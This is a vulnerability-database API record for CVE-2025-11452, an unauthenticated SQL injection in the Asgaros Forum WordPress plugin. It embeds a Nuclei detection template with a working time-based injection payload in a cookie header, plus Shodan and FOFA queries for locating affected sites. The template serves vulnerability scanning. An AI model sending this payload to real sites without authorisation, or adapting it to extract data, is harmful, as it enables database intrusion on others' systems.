{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-11452/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-11452/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-11452/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-11452/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-11452/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-11452/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2025-11452"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2025-11452"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.01602,"kev":false,"percentile":0.75823},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-11452.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2025-11452\n\ninfo:\n  name: Asgaros Forum < 3.2.0 - SQL Injection\n  author: Pauullamm\n  severity: high\n  description: |\n    Asgaros Forum for WordPress versions prior to 3.2.0 is vulnerable to unauthenticated SQL injection through the asgarosforum_unread_exclude cookie. The cookie is JSON-decoded and its object keys are imploded into a NOT IN() clause without sanitisation. The vulnerable query only runs while rendering the forum page, so the payload must be sent there rather than to the site root.\n  impact: |\n    Unauthenticated attackers can execute arbitrary SQL against the WordPress database.\n  remediation: |\n    Update Asgaros Forum to 3.2.0 or later.\n  reference:\n    - https://wpscan.com/vulnerability/e89f1f31-dc70-4ea5-b389-81c8be5b10c6/\n    - https://plugins.trac.wordpress.org/browser/asgaros-forum/trunk/includes/forum-unread.php\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-11452\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\n    cvss-score: 7.5\n    cve-id: CVE-2025-11452\n    epss-score: 0.01602\n    epss-percentile: 0.75894\n    cwe-id: CWE-89\n  metadata:\n    verified: true\n    max-request: 5\n    vendor: asgaros\n    product: asgaros-forum\n    framework: wordpress\n    shodan-query: html:\"/wp-content/plugins/asgaros-forum\"\n    fofa-query: body=\"/wp-content/plugins/asgaros-forum\"\n  tags: cve,cve2025,wordpress,wp-plugin,asgaros-forum,sqli,vkev\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/forum/\"\n      - \"{{BaseURL}}/forums/\"\n      - \"{{BaseURL}}/community/\"\n      - \"{{BaseURL}}/board/\"\n      - \"{{BaseURL}}/\"\n\n    headers:\n      Cookie: 'asgarosforum_unread_exclude={\"(SELECT(0)FROM(SELECT(SLEEP(7)))a)\":1}'\n\n    stop-at-first-match: true\n    matchers-condition: and\n    matchers:\n      - type: regex\n        part: body\n        regex:\n          - '<body\\b[^>]*\\bclass=[\"''][^\"'']*\\basgaros-forum\\b[^\"'']*[\"'']'\n\n      - type: dsl\n        dsl:\n          - 'duration >= 7'\n          - 'status_code == 200'\n        condition: and\n# digest: 490a00463044022064af732ebd6a185a6a6f8898fdb2dad070959964d08bdfd9bb5d3b14d4ebd8f90220685d00140b7564242090743d9c92981bff53fcdf10aba12980d28fe6aff3a51f:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-11452"}